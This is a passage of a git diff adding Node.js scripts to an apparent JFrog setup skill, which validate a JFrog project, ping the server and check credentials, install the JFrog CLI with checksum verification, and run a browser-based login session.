findSimilarProjects(candidatesWithNames, projectInput) : []; + emit({ + check: "project", + status: "red", + detail: `no project matches "${projectInput}" on this JPD — pick a different one`, + resolvedKey, + ...capCandidatesForDisplay(candidatesWithNames), + ...(similarProjects.length > 0 ? { similarProjects } : {}), + }); + return { exitCode: 1 }; + } + if (probe.code === 401) { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about whether the project exists. + emit({ + check: "project", + status: "error", + detail: `cannot verify project ${resolvedKey}: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return { exitCode: 3 }; + } + if (probe.code === 403) { + // ACLs are per-project — not entitled to this one says nothing about + // any other, so carry candidatesWithNames the same as the 404 branch + // to let the caller re-offer the picker instead of dead-ending. + emit({ + check: "project", + status: "red", + detail: `project ${resolvedKey} exists but your user is not entitled to see it (HTTP 403) — pick a project you have access to, or contact your JFrog admin`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (probe.code === 0) { + // Red, not error — the 5xx branch above treats "the backend is + // erroring" as red precisely because it's indistinguishable from a + // connection failure from here, and + // jfrog-detect-catalog-runtime.mjs maps its own "000" to red too. + // Classifying the real thing as an error would make the same + // condition blocking in Step 6 and non-blocking in Step 7. + emit({ + check: "project", + status: "red", + detail: `could not reach ${creds.baseUrl}${projectPath} (connection failed)${NETWORK_UNREACHABLE_HINT}`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + emit({ check: "project", status: "error", detail: `project validation returned unexpected HTTP ${probe.code} for ${creds.baseUrl}${projectPath}` }); + return { exitCode: 3 }; + } + + // ---------- Ask branch: no input passed; return candidates ---------- + // Branches on `enumOk`, not `candidatesWithNames.length`, so a JPD with + // zero accessible projects (enumeration succeeded, list is empty) isn't + // misreported as "enumeration was not available". + if (enumOk) { + const shown = capCandidatesForDisplay(candidatesWithNames); + emit({ + check: "project", + status: "ask", + detail: candidatesWithNames.length > 0 + ? shown.candidatesTotal + ? `no project chosen — ask the user which project to use (showing ${shown.candidatesWithNames.length} of ${shown.candidatesTotal})` + : "no project chosen — ask the user which project to use" + : "no project chosen — ask the user which project to use (no projects are accessible on this JPD)", + ...(candidatesWithNames.length > 0 ? { candidates: shown.candidatesWithNames.map((p) => p.key), ...shown } : {}), + }); + } else { + emit({ check: "project", status: "ask", detail: "no project chosen — ask the user which project to use (project enumeration was not available)" }); + } + return { exitCode: 2 }; +} + +if (isMainModule(import.meta.url)) { + const result = await detectProject(process.argv[2], process.argv[3]); + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs new file mode 100755 index 0000000..c72d0db --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs @@ -0,0 +1,154 @@ +#!/usr/bin/env node +// Two-part reachability + credentials check for the configured JFrog server. +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Part A — reachability (anonymous): +// Pull from `jf c show --format=json` for the resolved server, then +// fetch /artifactory/api/system/ping with no auth. Confirms the URL +// stored in `jf config` actually resolves to a live Artifactory. HTTP +// 200/401/403 = up (the endpoint responded even without auth). 404 / +// connection failure / 5xx = red, and Part B is skipped. +// +// Part B — credentials (authenticated, via jf): +// `jf rt ping --server-id=`. The token stays inside jf's process — +// this script never reads, prints, or stores it. A pass means the token +// in `jf config` is valid, not expired, and authorized to hit +// Artifactory — the earliest possible signal of stale credentials. +// +// BOTH must pass for green. Part A green with Part B red distinguishes +// "URL wrong" from "token expired/invalid" — two distinct fixes. +// +// Usage: node jfrog-detect-server-ping.mjs [server-id] +// Exit 0 -> green (URL reachable AND jf rt ping succeeded) +// Exit 1 -> red (jf missing, no URL, fetch or jf rt ping failed) +// Exit 2 -> ask (multiple servers configured, no server-id resolvable — +// caller must prompt the user and re-invoke with the +// picked server-id). Servers are enumerated in +// `candidates` in the JSON detail. +// +// No corresponding fix script — per the skill's dependency-order rule, a +// failed ping is a stop-and-warn condition, not something auto-fixed. + +import { emit, isMainModule, urlForServer, normalizeJpdUrl, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT, runJf } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +// Extract the first meaningful error line rather than dumping the whole jf +// output (which can include multi-line nginx HTML for cookie/proxy errors). +// `jf`'s own error text shouldn't contain a token, but the redaction below +// is defense in depth against a future jf version leaking one into stderr. +// Boundaries are explicit character-class lookarounds rather than `\b` — +// `\b` doesn't fire between two non-word characters (e.g. a space and a +// leading `-`/`_`, both valid base64url token chars), which would leave +// part of a token unredacted. +function extractErr(out) { + const lines = out.split("\n"); + const line = + lines.find((l) => l.includes("[Error]")) || + lines.find((l) => l.includes("[Warn]")) || + lines.find((l) => l.trim()) || + out; + return line + .replace(/\s+/g, " ") + .replace(/"/g, "'") + .replace(/\b(Bearer\s+)\S+/gi, "$1[redacted]") + .replace(/(? installed, updated, or already present and up to date, and +// `jf` resolves at >= the minimum version. +// Exit 1 -> every plan failed (or Windows, where Plan C can't run +// automatically). Falls back to printing a manual command. + +import { mkdirSync, writeFileSync, renameSync, chmodSync, readFileSync, appendFileSync, unlinkSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { spawnSync, execFileSync } from "node:child_process"; +import { jfAvailable, invalidateJfAvailableCache, runJf, JF_BIN_DIR } from "./lib/jf.mjs"; +import { commandExists, prependToPathIfMissing, resolveBinaryDir } from "./lib/command.mjs"; +import { MIN_JF_VERSION, isOlderThan } from "./jfrog-detect-jf-cli.mjs"; + +const MANUAL_INSTALL_CMD = "npm install -g jfrog-cli-v2-jf"; +const PUBLIC_REGISTRY = "https://registry.npmjs.org/"; + +const INSTALL_DIR = JF_BIN_DIR; +const INSTALL_PATH = join(INSTALL_DIR, "jf"); +const RELEASE_BASE = "https://releases.jfrog.io/artifactory/jfrog-cli/v2-jf/[RELEASE]"; +const PATH_LINE = 'export PATH="$HOME/.jfrog/bin:$PATH"'; +const FISH_PATH_LINE = 'set -gx PATH "$HOME/.jfrog/bin" $PATH'; + +const log = (msg) => process.stderr.write(msg + "\n"); + +// Set by tryNpmInstall() on failure, read by the final "all methods +// failed" branch at the bottom of this file. Kept out of the routine +// progress log — see tryNpmInstall()'s own comment — since the raw npm +// error text/exit code (and the specific configured registry, which can +// be an org-internal hostname) is only actually useful to the user once +// Plan C has ALSO failed and there's a real problem to debug; printing it +// unconditionally makes an ultimately-successful install (npm failed, but +// Plan C quietly saved it) look like something went wrong. +let npmFailureDetail = ""; + +// ---------------- Plans A/B: npm ---------------- + +// Windows resolves `npm` to `npm.cmd`, which Node's spawnSync only finds +// via `shell: true` — a bare spawnSync("npm", ...) there fails with ENOENT +// even though npm is genuinely installed. Args here are all static +// strings (never user input), so shell:true carries no injection risk. +const NPM_SPAWN_OPTS = { shell: process.platform === "win32" }; + +function npmInstall(extraArgs = []) { + return spawnSync("npm", ["install", "-g", "jfrog-cli-v2-jf", ...extraArgs], { + stdio: ["ignore", "pipe", "pipe"], + timeout: 120_000, + encoding: "utf8", + ...NPM_SPAWN_OPTS, + }); +} + +function currentRegistry() { + const res = spawnSync("npm", ["config", "get", "registry"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }); + return (res.stdout || "").trim(); +} + +// Shared by selfHealNpmPath() below and tryNpmInstall()'s Plan B retry +// guard, which needs this same directory to tell "npm's own install is +// shadowed by something earlier on PATH" apart from "npm served a stale +// version" — see the guard's comment. +function resolveNpmBinDir() { + let prefix; + try { + prefix = execFileSync("npm", ["config", "get", "prefix"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }).trim(); + } catch { + return ""; + } + if (!prefix) return ""; + return process.platform === "win32" ? prefix : join(prefix, "bin"); +} + +// npm's global bin dir isn't always on the CURRENT process's PATH (custom +// prefix, some CI/sandbox images) even right after a genuinely successful +// `npm install -g`. Without this, that PATH gap gets misread as npm +// itself having failed — see tryNpmInstall() below. +function selfHealNpmPath() { + const binDir = resolveNpmBinDir(); + if (binDir) prependToPathIfMissing(binDir); +} + +function tryNpmInstall() { + if (!commandExists("npm")) { + npmFailureDetail = "npm not found"; + return false; + } + let result = npmInstall(); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + } + // Gate the retry (and the final success check below) on + // currentJfIsUpToDate(), not just jfAvailable() — jfAvailable() alone + // only proves *some* jf resolves on PATH, not that it's the one npm + // just installed. A jf from Homebrew/a version manager sitting earlier + // on PATH (see the file-header trade-off note) would otherwise read as + // "installed" here even though it's still below MIN_JF_VERSION. + // + // But when npm itself reported success (result.status === 0) and the + // resolving jf is still stale, that has two distinct causes that need + // different handling: either npm's own global bin now holds a stale + // build (the configured registry served an old/pinned version — the + // retry below, and its Curation note, are accurate for this case), or + // npm's install is fine but something earlier on PATH is shadowing it + // (the file-header trade-off) — no registry retry fixes that, and + // retrying anyway would misreport "Install via failed" for + // a registry that never actually failed. Told apart by WHERE the + // currently-resolving jf lives, not by npm's exit code. + if (result.status === 0 && !currentJfIsUpToDate()) { + const npmBinDir = resolveNpmBinDir(); + const jfDir = resolveBinaryDir("jf"); + if (npmBinDir && jfDir && jfDir !== npmBinDir) { + npmFailureDetail = + `the \`jf\` resolving on PATH is at ${jfDir}, not npm's global bin (${npmBinDir}) — another jf install ` + + "earlier on PATH (Homebrew, a version manager, or Plan C) is shadowing it. Retrying against a different " + + "registry would not fix this; move npm's global bin ahead of it on PATH, or remove the other install."; + return false; + } + } + + if (result.status !== 0 || !currentJfIsUpToDate()) { + const registry = currentRegistry(); + if (registry && registry !== PUBLIC_REGISTRY) { + result = npmInstall([`--registry=${PUBLIC_REGISTRY}`]); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + // On stdout, not just the stderr log above — this is the one line + // a caller relaying results to the user is most likely to surface, + // and installing outside the configured registry means this one + // package bypassed Artifactory/Curation, not something to report + // as a plain, uneventful success. + console.log( + `Note: installed jfrog-cli-v2-jf from the public npm registry (${PUBLIC_REGISTRY}) ` + + `because the configured registry (${registry}) failed — this install bypassed Artifactory/Curation.` + ); + } + } + } + if (result.status === 0 && currentJfIsUpToDate()) { + log("Installed JFrog CLI via npm."); + return true; + } + if (result.status === 0) { + // npm itself reported success, but the jf that resolves on PATH still + // isn't the up-to-date one afterward (selfHealNpmPath() couldn't + // find/fix the gap — e.g. a non-standard prefix — or a different jf + // earlier on PATH is shadowing the one npm just installed). Reporting + // this the same way as an actual npm failure below would print the + // nonsensical "npm install failed (exit code 0)" — npm didn't fail, + // what's on PATH afterward did. + npmFailureDetail = jfAvailable() + ? "npm install reported success, but the `jf` resolving on PATH is still below the minimum version afterward." + : "npm install reported success, but `jf` still isn't resolving on PATH afterward."; + return false; + } + // A timed-out spawnSync sets `result.error.code === "ETIMEDOUT"` and + // kills the child, but the child can still have written something to + // stderr before being killed (e.g. a stray npm warning unrelated to the + // real cause) — checking `result.stderr` first would report that noise + // as "why npm install failed" instead of the actual 120s timeout. The + // two execFileSync-based detectors already check `.code === "ETIMEDOUT"` + // first for the identical reason; this spawnSync path missed it. + const reason = + result.error && result.error.code === "ETIMEDOUT" + ? "timed out after 120s" + : (result.stderr || "").trim() || (result.error ? result.error.message : `exit code ${result.status}`); + npmFailureDetail = reason; + return false; +} + +// ---------------- Plan C: direct binary download ---------------- + +// tryDirectDownload()'s Windows branch already prints a platform-specific +// PowerShell command and returns non-success — the generic +// MANUAL_INSTALL_CMD fallback at the bottom of this file must NOT also +// print afterward in that case, or the user sees two conflicting install +// commands with the one that just failed (npm) printed last, reading as +// the recommended next step. This sentinel lets the caller tell "failed, +// nothing printed yet" apart from "failed, but already told the user what +// to run" without a boolean losing that distinction. +const PLATFORM_COMMAND_PRINTED = "platform-command-printed"; + +// The line the caller should `eval` in the *current* shell — must match +// whatever syntax that shell understands. Fish has no `export`, so an +// eval of PATH_LINE there is a silent no-op and `jf` stays unresolved for +// the rest of the process despite a successful install. +function evalPathLine() { + return (process.env.SHELL || "").includes("fish") ? FISH_PATH_LINE : PATH_LINE; +} + +// Idempotently appends the PATH line to the user's shell rc so future +// terminals see `jf` without the user editing anything themselves. +function persistOnPath() { + const shell = process.env.SHELL || ""; + const line = evalPathLine(); + let rcPath; + if (shell.includes("fish")) { + rcPath = join(homedir(), ".config", "fish", "config.fish"); + } else if (shell.includes("zsh")) { + rcPath = join(homedir(), ".zshrc"); + } else if (shell.includes("bash")) { + rcPath = join(homedir(), ".bashrc"); + } else { + rcPath = join(homedir(), ".profile"); + } + + let existing = ""; + try { + existing = readFileSync(rcPath, "utf8"); + } catch { + existing = ""; + } + if (existing.includes(line)) return; + + try { + mkdirSync(join(rcPath, ".."), { recursive: true }); + appendFileSync(rcPath, `\n# Added by JFrog CLI installer (/jfrog-init)\n${line}\n`); + log(`Added ~/.jfrog/bin to PATH in ${rcPath} — new terminals will see \`jf\` directly.`); + } catch (err) { + log(`Could not update ${rcPath} automatically (${err.message}); add this line yourself:\n ${line}`); + } +} + +// JFrog ships separate macOS binaries per arch: "mac-386" (a historical +// name, not the arch — this one is actually x64) for Intel, "mac-arm64" +// for Apple Silicon. There's no universal/fat binary to fall back on. +function pickArtifact() { + if (process.platform === "darwin") { + return process.arch === "arm64" ? "jfrog-cli-mac-arm64/jf" : "jfrog-cli-mac-386/jf"; + } + if (process.platform === "linux") { + switch (process.arch) { + case "x64": + return "jfrog-cli-linux-amd64/jf"; + case "arm64": + return "jfrog-cli-linux-arm64/jf"; + case "arm": + return "jfrog-cli-linux-arm/jf"; + case "ia32": + return "jfrog-cli-linux-386/jf"; + default: + return null; + } + } + return null; +} + +async function tryDirectDownload() { + if (process.platform === "win32") { + log("Windows detected — the direct-download fallback is not supported here."); + const winArtifactUrl = `${RELEASE_BASE}/jfrog-cli-windows-amd64/jf.exe`; + // Same fail-closed policy as the macOS/Linux path below: this printed + // command is never actually run by this process, so if Artifactory + // won't hand back a checksum to embed, refuse to print a command that + // would install an unverified binary rather than silently downgrading + // to one. + const expectedSha256 = await fetchChecksumHeader(winArtifactUrl); + if (!expectedSha256) { + log(`Could not obtain an expected checksum for ${winArtifactUrl} — refusing to install an unverified binary.`); + return false; + } + // User-owned path + user-scope PATH (setx, no /M) — same "no admin + // needed" contract as macOS/Linux above. Do NOT install to + // $env:SYSTEMROOT\system32: that requires an elevated prompt just to + // place an unverified download in a directory shared by every user + // and process on the machine, for no benefit over a per-user install. + // $env:Path is the PROCESS Path — machine and user scopes already + // concatenated. `setx PATH "...;$env:Path"` would write that combined + // value into the user-scope variable, duplicating every machine-level + // entry into it (and freezing them there, shadowing future machine + // PATH changes), plus setx silently truncates at 1024 characters — a + // real risk on a dev machine with a long PATH. Read/write the + // user-scope value only, via [Environment]::GetEnvironmentVariable / + // SetEnvironmentVariable, so this only ever prepends to what the user + // scope already had. + // PowerShell's `-ne` string comparison is case-insensitive by default, + // so the mixed-case hex Get-FileHash returns compares fine against the + // lowercase hex from the checksum header. + console.log(`Run in PowerShell: +New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\\.jfrog\\bin" | Out-Null; iwr ${winArtifactUrl} -OutFile "$env:USERPROFILE\\.jfrog\\bin\\jf.exe"; if ((Get-FileHash "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Algorithm SHA256).Hash -ne "${expectedSha256}") { Remove-Item "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Force; Write-Error "Checksum mismatch - aborting install"; exit 1 }; $userPath = [Environment]::GetEnvironmentVariable('Path','User'); [Environment]::SetEnvironmentVariable('Path', "$env:USERPROFILE\\.jfrog\\bin;$userPath", 'User')`); + return PLATFORM_COMMAND_PRINTED; + } + + const artifact = pickArtifact(); + if (!artifact) { + log(`Unsupported OS/arch (${process.platform} / ${process.arch}) for direct download.`); + return false; + } + + const url = `${RELEASE_BASE}/${artifact}`; + mkdirSync(INSTALL_DIR, { recursive: true }); + + // Artifactory answers HEAD directly with an X-Checksum-Sha256 header + // (verified live); the actual GET below redirects to a CDN-backed cache + // for the bytes themselves, which does NOT carry that header. If the + // HEAD followed the same redirect automatically, `fetch()` would hand + // back the CDN's headers instead of Artifactory's, silently losing the + // checksum — so redirects are handled manually here, and the header is + // read off Artifactory's own response before it's followed. + // Issued concurrently with the GET below (independent round trips to + // the same URL) rather than awaited first, since the checksum is only + // needed after the download completes anyway. + async function fetchChecksumHeader(target) { + try { + const res = await fetch(target, { method: "HEAD", redirect: "manual", signal: AbortSignal.timeout(30_000) }); + return res.headers.get("x-checksum-sha256") || ""; + } catch { + return ""; + } + } + const headPromise = fetchChecksumHeader(url); + // Best-effort — if the HEAD fails, the GET below still gets a real + // download; it just won't be checksum-verified. + + let bytes; + try { + const res = await fetch(url, { signal: AbortSignal.timeout(120_000) }); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + bytes = Buffer.from(await res.arrayBuffer()); + } catch (err) { + log(`Download failed (${err.message}).`); + return false; + } + + const expectedSha256 = await headPromise; + + if (!bytes.length) { + log("Downloaded file is empty."); + return false; + } + + // Comparing against the checksum Artifactory computed server-side (from + // the HEAD above) catches a truncated/corrupted transfer. It's not an + // independent signature (both come from the same Artifactory instance), + // so it can't prove the artifact itself is untampered; a real fix would + // need a separately-published signature, which releases.jfrog.io + // doesn't offer today. This deliberately doesn't pin a specific CLI + // version either: it tracks "latest" the same way JFrog's own installer + // scripts do, so pinning here would just mean maintaining a + // version/checksum matrix that drifts from upstream. + if (expectedSha256) { + const actualSha256 = createHash("sha256").update(bytes).digest("hex"); + if (actualSha256 !== expectedSha256) { + log(`Downloaded file's checksum doesn't match Artifactory's (expected ${expectedSha256}, got ${actualSha256}).`); + return false; + } + } else { + // fetchChecksumHeader() swallows its own errors and returns "" for + // anything from a timeout to a missing header. This is Plan C — npm + // (Plans A/B) is always tried first and is the one path JFrog's own + // docs describe — so failing closed here (rather than installing an + // unverified binary with just a log line, indistinguishable from a + // verified one to a caller that only checks the exit code) costs + // little: the caller still gets MANUAL_INSTALL_CMD to hand the user. + log(`Could not obtain an expected checksum for ${url} — refusing to install an unverified binary.`); + return false; + } + + // Rules out a JFrog-branded HTML error page silently written to disk: + // non-empty, and either an ELF or Mach-O binary. + const magic = bytes.subarray(0, 4).toString("hex"); + const validMagic = ["7f454c46", "cffaedfe", "cefaedfe", "feedface", "feedfacf", "cafebabe"]; + if (!validMagic.includes(magic)) { + log(`Downloaded file does not look like a binary (magic=${magic}).`); + return false; + } + + // Written inside INSTALL_DIR (not the OS tmpdir) so the final rename is + // guaranteed to land on the same filesystem — a cross-filesystem rename + // (e.g. tmpfs /tmp vs a separately-mounted $HOME) fails with EXDEV. + const tmp = join(INSTALL_DIR, `.jf.tmp.${process.pid}`); + // Wrapped because "wx" throws EEXIST rather than overwriting, and the + // name is only unique per PID: a run killed between the write and the + // rename (Ctrl-C, OOM, harness timeout) leaves the temp file behind, + // and the next run to reuse that PID hits it. Unhandled, that replaces + // the caller's "all install methods failed, here's the manual command" + // fallback with a raw stack trace, at the end of a flow that has + // already spent a while failing. EPERM/ENOSPC on the chmod/rename land + // here too. + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, bytes, { flag: "wx" }); + chmodSync(tmp, 0o755); + renameSync(tmp, INSTALL_PATH); + } catch (err) { + log(`Could not write ${INSTALL_PATH} (${err.message}).`); + // Best-effort cleanup so a failure here doesn't poison the next run + // with the very leftover that may have caused it. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return false; + } + + // A checksum match only proves the bytes weren't corrupted in transit — + // it says nothing about whether this binary actually executes on the + // current OS/libc (e.g. a glibc/musl mismatch on Linux). Run it before + // reporting success so a broken binary surfaces here, not as a + // confusing "jf: command not found" later. + try { + execFileSync(INSTALL_PATH, ["--version"], { timeout: 10_000, stdio: "ignore" }); + } catch (err) { + log(`Downloaded binary does not run (${err.message}).`); + return false; + } + + log(`Installed JFrog CLI at ${INSTALL_PATH}.`); + persistOnPath(); + console.log(evalPathLine()); + return true; +} + +// ---------------- Main ---------------- + +// jfAvailable() alone only proves `jf` resolves on PATH — not that it +// satisfies this skill's minimum version (see MIN_JF_VERSION in +// jfrog-detect-jf-cli.mjs). This script is also the action behind +// jf-cli-update-prompt.md's "Update it now?" (jf present, but outdated) — +// without this version check, that path silently no-oped here instead of +// actually running an install. +function currentJfIsUpToDate() { + if (!jfAvailable()) return false; + try { + const version = runJf(["--version"]).trim().split("\n")[0] || ""; + return !isOlderThan(version, MIN_JF_VERSION); + } catch { + return false; + } +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector does: a forced exit can truncate a still-draining stdout +// write, and MANUAL_INSTALL_CMD below is the one thing a caller of this +// script actually needs on the failure path. +if (currentJfIsUpToDate()) { + log("JFrog CLI already installed and up to date."); + process.exitCode = 0; +} else if (tryNpmInstall()) { + process.exitCode = 0; +} else { + const directResult = await tryDirectDownload(); + if (directResult === true) { + process.exitCode = 0; + } else { + // Skip the generic fallback when a platform-specific command was + // already printed (Windows) — printing MANUAL_INSTALL_CMD too would + // show a second, conflicting install command, with the one that just + // failed (npm) last. + if (directResult !== PLATFORM_COMMAND_PRINTED) { + // Only now is npmFailureDetail (whatever tryNpmInstall() stashed — + // npm missing, a raw npm error, or a PATH-shadowing/stale-jf + // diagnostic — instead of logging it immediately) worth showing — + // Plan C has also failed, so there's a real problem to debug + // rather than an ultimately-successful install that merely took a + // detour through a registry retry or a direct download. + log( + npmFailureDetail + ? `All install methods failed (npm: ${npmFailureDetail}). Falling back to manual command.` + : "All install methods failed. Falling back to manual command." + ); + console.log(MANUAL_INSTALL_CMD); + } + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-login-register-session.mjs b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs new file mode 100644 index 0000000..b72508d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs @@ -0,0 +1,132 @@ +#!/usr/bin/env node +// jfrog-login-register-session.mjs — Verify a JFrog server and start a web login session +// +// Pings the server, generates a session UUID, and registers it with +// the Access API for browser-based authentication (bootstrap HTTP via +// `jf api --url`). +// +// Usage: +// node jfrog-login-register-session.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// +// Output (stdout, one key=value per line): +// SESSION_UUID= +// VERIFY_CODE= +// +// Exit codes: +// 0 — Session registered successfully +// 1 — Missing arguments or prerequisites +// 2 — Server not reachable (ping failed) +// 3 — Session registration request failed + +import { execFileSync } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { isMainModule } from "./lib/jf.mjs"; +import { SAFE_URL } from "./jfrog-login-save-credentials.mjs"; + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: process.platform === "win32", + stdio: ["ignore", "pipe", "pipe"], + }; +} + +// `jf api` was added in JFrog CLI 2.100.0 and every request below depends +// on it. Checked explicitly: on an older CLI the ping fails with an +// unknown-command error that carries no HTTP status, which would +// otherwise be reported as an unreachable server and send the user +// looking at the network instead of the CLI. A single `jf api --help` +// probe also doubles as the "is jf even installed" check — its ENOENT +// case is indistinguishable from "jf missing" either way. Step 2 already +// gates on MIN_JF_VERSION = 2.106.0 (above the 2.100.0 that shipped `jf +// api`), so by the time this runs `jf api` is guaranteed present — this +// check exists for the rare case this script runs standalone, outside +// the normal Step 2 → Step 3 walk order. +function checkJfApiSupport() { + try { + execFileSync("jf", ["api", "--help"], execFileOpts(10_000)); + return { ok: true }; + } catch (err) { + if (err.code === "ENOENT") return { ok: false, reason: "missing" }; + let version = "version unknown"; + try { + version = execFileSync("jf", ["--version"], execFileOpts(10_000)).trim(); + } catch { + // Leave the "version unknown" default. + } + return { ok: false, reason: "outdated", version }; + } +} + +export function registerSession(platformUrlRaw) { + if (!platformUrlRaw) { + process.stderr.write("Usage: node jfrog-login-register-session.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + const support = checkJfApiSupport(); + if (!support.ok) { + if (support.reason === "missing") { + process.stderr.write("ERROR: jf is not installed\n"); + } else { + process.stderr.write(`ERROR: this jf (${support.version}) does not support 'jf api',\n`); + process.stderr.write("which this login flow requires (JFrog CLI 2.100.0 or later).\n"); + process.stderr.write("Upgrade the JFrog CLI, then retry.\n"); + } + return 1; + } + + // Verify server is reachable (unauthenticated ping) + const ping = jfApi(["--url", platformUrl, "/artifactory/api/system/ping"]); + if (!ping.ok) { + const code = parseHttpStatus(ping.stderr); + process.stderr.write(`ERROR: Server not reachable at ${platformUrl} (HTTP ${code})\n`); + return 2; + } + + const sessionUuid = randomUUID(); + const verifyCode = sessionUuid.slice(-4); + + // Register the session with the Access API + const register = jfApi([ + "--url", + platformUrl, + "-X", + "POST", + "-H", + "Content-Type: application/json", + "-d", + JSON.stringify({ session: sessionUuid }), + "/access/api/v2/authentication/jfrog_client_login/request", + ]); + if (!register.ok) { + const code = parseHttpStatus(register.stderr); + process.stderr.write(`ERROR: Session registration failed (HTTP ${code})\n`); + return 3; + } + + process.stdout.write(`SESSION_UUID=${sessionUuid}\n`); + process.stdout.write(`VERIFY_CODE=${verifyCode}\n`); + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = registerSession(process.argv[2] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs new file mode 100644 index 0000000..7578a8d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs @@ -0,0 +1,186 @@ +#!/usr/bin/env node +// jfrog-login-save-credentials.mjs — Complete web login by retrieving token and saving credentials +// +// Retrieves the one-time access token from a completed web login session, +// derives a server ID, saves the configuration via jf config, and verifies. +// Bootstrap token exchange uses `jf api --url` (before any server exists in +// `jf config`); verification uses `jf api` with --server-id. +// +// Leaves the current default `jf` server unchanged. Subsequent calls should +// pass `--server-id=` explicitly. +// +// IMPORTANT: The token endpoint is one-time-use. If this script fails after +// consuming the token (e.g. jf config write blocked by sandbox), the session +// is burned and login must restart from register-session. +// +// Usage: +// node jfrog-login-save-credentials.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// session-uuid — Session UUID from jfrog-login-register-session.mjs output +// +// Output (stdout): +// SERVER_ID= +// Followed by the Artifactory version JSON on success. +// +// Exit codes: +// 0 — Login succeeded, credentials saved and verified +// 1 — Missing arguments or prerequisites +// 2 — Token retrieval failed (user may not have completed browser login) +// 3 — Empty token in response +// 4 — jf config save or verification failed + +import { execFileSync } from "node:child_process"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { + isMainModule, + jfConfigShow, + normalizeJpdUrl, + selfHealPath, + urlForServer, +} from "./lib/jf.mjs"; +import { resolveCommand } from "./lib/command.mjs"; + +// A `jf.cmd` shim runs under a shell, which concatenates arguments unescaped, +// so everything interpolated into a `jf` argument is screened first. +export const SAFE_URL = /^https?:\/\/[A-Za-z0-9.-]+(:\d+)?(\/[A-Za-z0-9._~/-]*)?$/; +const SAFE_TOKEN = /^[A-Za-z0-9._-]+$/; + +// Derive server ID from URL +// SaaS: https://mycompany.jfrog.io → mycompany +// Self-hosted: https://artifactory.internal.corp → artifactory-internal-corp +export function deriveServerId(platformUrl) { + let host = platformUrl.replace(/^[a-z]*:\/\//, ""); + host = host.replace(/\.jfrog\.io.*/, ""); + host = host.replace(/[./]/g, "-"); + return host; +} + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs, needsShell) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: needsShell, + stdio: ["ignore", "pipe", "pipe"], + }; +} + +export function saveCredentials(platformUrlRaw, sessionUuid) { + if (!platformUrlRaw || !sessionUuid) { + process.stderr.write("Usage: node jfrog-login-save-credentials.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + selfHealPath(); + const { target: jfPath, shell: needsShell } = resolveCommand("jf"); + + try { + execFileSync(jfPath, ["--version"], execFileOpts(10_000, needsShell)); + } catch (err) { + if (err.code === "ENOENT") { + process.stderr.write("ERROR: jf is not installed\n"); + return 1; + } + // Broken/hung jf: fall through and let the jf api calls below surface + // their own more specific failure. + } + + const serverId = deriveServerId(platformUrl); + + // Retrieve the one-time token (stdout = JSON body; stderr = jf status lines) + const tokenResp = jfApi([ + "--url", + platformUrl, + `/access/api/v2/authentication/jfrog_client_login/token/${sessionUuid}`, + ]); + + if (!tokenResp.ok) { + let httpCode = parseHttpStatus(tokenResp.stderr); + if (httpCode === "0") httpCode = 